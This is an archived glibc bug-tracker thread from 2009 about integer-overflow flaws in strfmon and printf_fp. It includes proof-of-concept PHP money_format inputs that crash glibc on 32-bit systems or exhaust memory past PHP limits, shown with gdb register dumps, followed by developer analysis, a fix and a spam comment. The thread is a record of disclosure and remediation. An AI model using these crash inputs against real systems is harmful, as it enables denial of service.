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* [Bug libc/10600] New: stdio/strfmon.c multiple vulnerabilities
@ 2009-09-03 20:31 cxib at securityreason dot com
2009-09-23 16:44 ` [Bug libc/10600] " thoger at redhat dot com
` (3 more replies)
0 siblings, 4 replies; 9+ messages in thread
From: cxib at securityreason dot com @ 2009-09-03 20:31 UTC (permalink / raw)
To: glibc-bugs
Affected Software (tested 27.08.2009):
- Fedora 11
- Slackware 12.2
- Ubuntu 9.04
- others linux distributions
Previous URL:
http://securityreason.com/achievement_securityalert/53
--- 0.Description ---
strfmon -- convert monetary value to string
The strfmon() function places characters into the array pointed to by s as
controlled by the string pointed to by format. No more than maxsize bytes are
placed into the array.
The format string is composed of zero or more directives: ordinary characters
(not %), which are copied unchanged to the output stream; and
conversion specifications, each of which results in fetching zero or more
subsequent arguments. Each conversion specification is introduced by the %
character.
SYNOPSIS:
#include <monetary.h>
ssize_t
strfmon(char * restrict s, size_t maxsize, const char * restrict
format,
...);
--- 1. glibc 2.10.1 stdio/strfmon.c Multiple vulnerabilities ---
In March 2008, our team has published a security note (SREASONRES:20080325)
about vulnerabilities in strfmon(3) function. Issue has been officially
diagnosed in NetBSD, FreeBSD and MacOSX. However, from the source code due to a
glibc also is vulnerable to. We have informed glibc team. However, the
description of the issue and fix was not enough for gnu team. They has changed
status for BOGUS and response was:
---
And what exactly does an BSD implementation has to do with glibc?
---
Today we now, only NetBSD is secure for this. And all systems uses glibc are
affected. Despite the differences in the code NetBSD libc and glibc, issue is
the same but the exploit differs from that presented in (SREASONRES:20080325).
Description of the vulnerabalitie:
http://securityreason.com/achievement_securityalert/53 (SREASONRES:20080325)
http://xorl.wordpress.com/2009/04/11/cve-2008-1391-netbsd-strfmon-integer-overflow/
Description of the fix:
ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2008-006.txt.asc
To present this issue in Fedora 11, we will use php client. money_format() use
strfmon(3) function so this program will be perfect.
[cx@localhost ~]$ php -r 'money_format("%.1073741821i",1);'
Segmentation fault
for 'money_format("%.1073741821i",1);' we will get
Program received signal SIGSEGV, Segmentation fault.
0x0019331a in __printf_fp () from /lib/libc.so.6
(gdb) bt
#0 0x0019331a in __printf_fp () from /lib/libc.so.6
#1 0x0018832b in __vstrfmon_l () from /lib/libc.so.6
#2 0x00187a36 in strfmon () from /lib/libc.so.6
strfmon() will call to __printf_fp() with overflowed arg. In result
(gdb) x/20s ($esi)-10
0x8448ff6: ""
0x8448ff7: ""
0x8448ff8: "0"
0x8448ffa: ""
0x8448ffb: ""
0x8448ffc: "0"
0x8448ffe: ""
0x8448fff: ""
0x8449000: <Address 0x8449000 out of bounds>
0x8449000: <Address 0x8449000 out of bounds>
0x8449000: <Address 0x8449000 out of bounds>
...
(gdb) i r
eax 0x30 48
ecx 0x0 0
edx 0x0 0
ebx 0x2bdff4 2875380
esp 0xbfffec14 0xbfffec14
ebp 0xbfffed78 0xbfffed78
esi 0x8449000 138711040
edi 0x810c 33036
eip 0x19331a 0x19331a <__printf_fp+3274>
Now let's see what will hapen for 'money_format("%.1073741822i",1);'
Program received signal SIGSEGV, Segmentation fault.
0x0034b27b in hack_digit.12295 () from /lib/libc.so.6
php will crash in hack_digit().
(gdb) i r
eax 0x3ffffffe 1073741822
ecx 0x32 50
edx 0x2 2
ebx 0x476ff4 4681716
esp 0xbfffebc4 0xbfffebc4
ebp 0xbfffebf4 0xbfffebf4
esi 0x32 50
edi 0x3e 62
we can try change edi register.
For 'money_format("%.1073741824i",1);'
(gdb) i r
eax 0x40000000 1073741824
ecx 0x32 50
edx 0x2 2
ebx 0x35bff4 3522548
esp 0xbfffebbc 0xbfffebbc
ebp 0xbfffebec 0xbfffebec
esi 0x32 50
edi 0x42 66
But let's see what will hapen for 'money_format("%.77715949976712904702i", 1.1);'
crash in
Program received signal SIGSEGV, Segmentation fault.
0x00e4327b in hack_digit.12295 () from /lib/libc.so.6
(gdb) i r
eax 0x3ffffffe 1073741822
ecx 0x34 52
edx 0x2 2
ebx 0xf6eff4 16183284
esp 0xbfffebb4 0xbfffebb4
ebp 0xbfffebe4 0xbfffebe4
esi 0x34 52
edi 0x3e 62
esi 52.
Interesting is that the PHP memory_limit has no control over what happens in the
level of the libc. Function strfmon(3) can allocate a lot of data in memory
without control by PHP memory_limit and will crash.
For example:
php -r 'money_format("%.1343741821i",1);'
will allocate ~1049MB real memory.
memory_limit can be less that 1049M
Strange is the fact that nobody checked the code of glibc. The algorithm used in
BSD libc and glibc is very similar. Funy.
--
Summary: stdio/strfmon.c multiple vulnerabilities
Product: glibc
Version: 2.10
Status: NEW
Severity: normal
Priority: P2
Component: libc
AssignedTo: drepper at redhat dot com
ReportedBy: cxib at securityreason dot com
CC: glibc-bugs at sources dot redhat dot com
http://sourceware.org/bugzilla/show_bug.cgi?id=10600
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* [Bug libc/10600] stdio/strfmon.c multiple vulnerabilities
2009-09-03 20:31 [Bug libc/10600] New: stdio/strfmon.c multiple vulnerabilities cxib at securityreason dot com
@ 2009-09-23 16:44 ` thoger at redhat dot com
2009-09-29 18:53 ` kees at outflux dot net
` (2 subsequent siblings)
3 siblings, 0 replies; 9+ messages in thread
From: thoger at redhat dot com @ 2009-09-23 16:44 UTC (permalink / raw)
To: glibc-bugs
------- Additional Comments From thoger at redhat dot com 2009-09-23 16:44 -------
(In reply to comment #0)
> Affected Software (tested 27.08.2009):
> - Fedora 11
> - Slackware 12.2
> - Ubuntu 9.04
> - others linux distributions
Look like you should be listing architectures here too, as they do seem to
matter here.
> ---
> And what exactly does an BSD implementation has to do with glibc?
> ---
That sounds like a reference to:
http://sourceware.org/bugzilla/show_bug.cgi?id=9707
Further on, I'll be quoting this advisory:
http://securityreason.com/achievement_securityalert/67
> Let's see libc/stdlib/strfmon_l.c (glibc rev-1.5.2.4)
...
> if (width > LONG_MAX / 10
> || (width == LONG_MAX && val > LONG_MAX % 10))
> {
> __set_errno (E2BIG);
> return -1;
> }
...
> if (width >= maxsize - (dest - s))
> {
> __set_errno (E2BIG);
> return -1;
> }
..
> Perfect. The above code protects us.
For the posterity and completeness of references, integer overflow check was
added via following commit:
http://sourceware.org/git/?p=glibc.git;a=commitdiff;h=153aa31b93be22e01b236375fb02a9f9b9a0195f
This sounds like a reason why your original vector %99999999999999999999n does
not work any more.
> But what is below, is a mistake already
This seems to refer to missing integer overflows checks in the code converting
left_prec / right_prec from string to number, as similar approach is used there
as for converting width:
http://sourceware.org/git/?p=glibc.git;a=blob;f=stdlib/strfmon_l.c#l242
http://sourceware.org/git/?p=glibc.git;a=blob;f=stdlib/strfmon_l.c#l259
But wait, how does that explain a crash on "%.1073741821i"? 1073741821 is less
than 2^31, so it won't overflow (signed) integer on either 32 bit or 64 bit
architectures, right?
> info.width = left_prec + (right_prec ? (right_prec + 1) : 0);
This should not overflow either, as left_prec is 0 here. So the problem seems
to be elsewhere...
So let's ignore srtfmon for a while and try something more simple:
printf("%.1073741821f\n", 0.0);
Testing this on F11 glibc-2.10.1, this crashes when compiled with -m32, but does
not with -m64. Little more looking leads to:
http://sourceware.org/git/?p=glibc.git;a=blob;f=stdio-common/printf_fp.c#l890
This is where integer overflow occurs (when computing wbuffer_to_alloc). It
should also explain where do ~1gig memory usage come from with your
"%.1343741821i" test.
Ulrich, I bet your knowledge of this code is a lot better than reporter's and
mine combined, so you can come up with proper fix. I just hope this additional
info does help. Is it enough for NEW -> ASSIGNED state change.
--
What |Removed |Added
----------------------------------------------------------------------------
CC| |thoger at redhat dot com
http://sourceware.org/bugzilla/show_bug.cgi?id=10600
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* [Bug libc/10600] stdio/strfmon.c multiple vulnerabilities
2009-09-03 20:31 [Bug libc/10600] New: stdio/strfmon.c multiple vulnerabilities cxib at securityreason dot com
2009-09-23 16:44 ` [Bug libc/10600] " thoger at redhat dot com
@ 2009-09-29 18:53 ` kees at outflux dot net
2009-10-13 16:33 ` thoger at redhat dot com
2009-10-30 4:36 ` drepper at redhat dot com
3 siblings, 0 replies; 9+ messages in thread
From: kees at outflux dot net @ 2009-09-29 18:53 UTC (permalink / raw)
To: glibc-bugs
--
What |Removed |Added
----------------------------------------------------------------------------
CC| |kees at outflux dot net
http://sourceware.org/bugzilla/show_bug.cgi?id=10600
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* [Bug libc/10600] stdio/strfmon.c multiple vulnerabilities
2009-09-03 20:31 [Bug libc/10600] New: stdio/strfmon.c multiple vulnerabilities cxib at securityreason dot com
2009-09-23 16:44 ` [Bug libc/10600] " thoger at redhat dot com
2009-09-29 18:53 ` kees at outflux dot net
@ 2009-10-13 16:33 ` thoger at redhat dot com
2009-10-30 4:36 ` drepper at redhat dot com
3 siblings, 0 replies; 9+ messages in thread
From: thoger at redhat dot com @ 2009-10-13 16:33 UTC (permalink / raw)
To: glibc-bugs
------- Additional Comments From thoger at redhat dot com 2009-10-13 16:33 -------
http://sourceware.org/git/?p=glibc.git;a=commitdiff;h=199eb0de8d
--
http://sourceware.org/bugzilla/show_bug.cgi?id=10600
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* [Bug libc/10600] stdio/strfmon.c multiple vulnerabilities
2009-09-03 20:31 [Bug libc/10600] New: stdio/strfmon.c multiple vulnerabilities cxib at securityreason dot com
` (2 preceding siblings ...)
2009-10-13 16:33 ` thoger at redhat dot com
@ 2009-10-30 4:36 ` drepper at redhat dot com
3 siblings, 0 replies; 9+ messages in thread
From: drepper at redhat dot com @ 2009-10-30 4:36 UTC (permalink / raw)
To: glibc-bugs
------- Additional Comments From drepper at redhat dot com 2009-10-30 04:36 -------
Only 32-bit had a problem and it's fixed.
--
What |Removed |Added
----------------------------------------------------------------------------
Status|NEW |RESOLVED
Resolution| |FIXED
http://sourceware.org/bugzilla/show_bug.cgi?id=10600
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* [Bug libc/10600] stdio/strfmon.c multiple vulnerabilities
[not found] <bug-10600-131@http.sourceware.org/bugzilla/>
` (2 preceding siblings ...)
2014-06-13 10:59 ` fweimer at redhat dot com
@ 2014-07-02 10:50 ` fweimer at redhat dot com
3 siblings, 0 replies; 9+ messages in thread
From: fweimer at redhat dot com @ 2014-07-02 10:50 UTC (permalink / raw)
To: glibc-bugs
https://sourceware.org/bugzilla/show_bug.cgi?id=10600
--- Comment #5 from Florian Weimer <fweimer at redhat dot com> ---
*** Bug 9707 has been marked as a duplicate of this bug. ***
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* [Bug libc/10600] stdio/strfmon.c multiple vulnerabilities
[not found] <bug-10600-131@http.sourceware.org/bugzilla/>
2014-02-16 17:44 ` jackie.rosen at hushmail dot com
2014-05-28 19:42 ` schwab at sourceware dot org
@ 2014-06-13 10:59 ` fweimer at redhat dot com
2014-07-02 10:50 ` fweimer at redhat dot com
3 siblings, 0 replies; 9+ messages in thread
From: fweimer at redhat dot com @ 2014-06-13 10:59 UTC (permalink / raw)
To: glibc-bugs
https://sourceware.org/bugzilla/show_bug.cgi?id=10600
Florian Weimer <fweimer at redhat dot com> changed:
What |Removed |Added
----------------------------------------------------------------------------
CC| |fweimer at redhat dot com
Flags| |security+
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* [Bug libc/10600] stdio/strfmon.c multiple vulnerabilities
[not found] <bug-10600-131@http.sourceware.org/bugzilla/>
2014-02-16 17:44 ` jackie.rosen at hushmail dot com
@ 2014-05-28 19:42 ` schwab at sourceware dot org
2014-06-13 10:59 ` fweimer at redhat dot com
2014-07-02 10:50 ` fweimer at redhat dot com
3 siblings, 0 replies; 9+ messages in thread
From: schwab at sourceware dot org @ 2014-05-28 19:42 UTC (permalink / raw)
To: glibc-bugs
https://sourceware.org/bugzilla/show_bug.cgi?id=10600
Andreas Schwab <schwab at sourceware dot org> changed:
What |Removed |Added
----------------------------------------------------------------------------
CC|jackie.rosen at hushmail dot com |
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* [Bug libc/10600] stdio/strfmon.c multiple vulnerabilities
[not found] <bug-10600-131@http.sourceware.org/bugzilla/>
@ 2014-02-16 17:44 ` jackie.rosen at hushmail dot com
2014-05-28 19:42 ` schwab at sourceware dot org
` (2 subsequent siblings)
3 siblings, 0 replies; 9+ messages in thread
From: jackie.rosen at hushmail dot com @ 2014-02-16 17:44 UTC (permalink / raw)
To: glibc-bugs
https://sourceware.org/bugzilla/show_bug.cgi?id=10600
Jackie Rosen <jackie.rosen at hushmail dot com> changed:
What |Removed |Added
----------------------------------------------------------------------------
CC| |jackie.rosen at hushmail dot com
--- Comment #4 from Jackie Rosen <jackie.rosen at hushmail dot com> ---
*** Bug 260998 has been marked as a duplicate of this bug. ***
Seen from the domain http://volichat.com
Page where seen: http://volichat.com/adult-chat-rooms
Marked for reference. Resolved as fixed @bugzilla.
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end of thread, other threads:[~2014-07-02 10:50 UTC | newest]
Thread overview: 9+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2009-09-03 20:31 [Bug libc/10600] New: stdio/strfmon.c multiple vulnerabilities cxib at securityreason dot com
2009-09-23 16:44 ` [Bug libc/10600] " thoger at redhat dot com
2009-09-29 18:53 ` kees at outflux dot net
2009-10-13 16:33 ` thoger at redhat dot com
2009-10-30 4:36 ` drepper at redhat dot com
[not found] <bug-10600-131@http.sourceware.org/bugzilla/>
2014-02-16 17:44 ` jackie.rosen at hushmail dot com
2014-05-28 19:42 ` schwab at sourceware dot org
2014-06-13 10:59 ` fweimer at redhat dot com
2014-07-02 10:50 ` fweimer at redhat dot com
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